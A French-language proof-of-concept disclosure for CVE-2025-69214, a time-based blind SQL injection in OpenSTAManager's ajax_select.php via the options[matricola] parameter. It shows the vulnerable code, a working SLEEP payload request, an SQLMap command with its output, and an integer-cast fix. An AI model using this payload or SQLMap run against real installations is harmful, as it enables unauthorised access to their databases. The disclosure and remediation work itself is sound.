
Preuve de concept pour CVE-2025-69214 : injection SQL dans le composant ajax_select.php d'OpenSTAManager. Comprend l'analyse du code vulnérable, l'exploitation aveugle basée sur le temps avec SQLMap, et des recommandations de remédiation.
| Champ | Détails |
|---|---|
| Identifiant CVE | CVE-2025-69214 |
| Sévérité | ÉLEVÉE |
| Avis de sécurité | Voir l'avis |
| Découvert par | Lukasz Rybak |
Une vulnérabilité d'injection SQL existe dans le point de terminaison ajax_select.php lors du traitement de l'opération componenti. Un attaquant authentifié peut injecter du code SQL malveillant via le paramètre options[matricola].
Fichier : modules/impianti/ajax/select.php:122-124
case 'componenti':
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
$_GET['options']['matricola'] → $superselect['matricola']IN() sans assainissementPoC manuel (injection SQL aveugle basée sur le temps) :
GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>
Exploitation avec SQLMap :
sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
--cookie="PHPSESSID=<session>" \
--dbms=MySQL \
--technique=T \
--level=3 \
--risk=3
Sortie SQLMap :
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12
Convertissez les valeurs en entiers avant de les utiliser dans le SQL :
Avant :
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
Après :
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$ids = array_map('intval', explode(',', $impianti));
$where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}
Découvert par : Łukasz Rybak
Cette CVE a été divulguée de manière responsable, conformément aux pratiques de divulgation coordonnée des vulnérabilités. Les informations fournies ici le sont uniquement à des fins éducatives et défensives.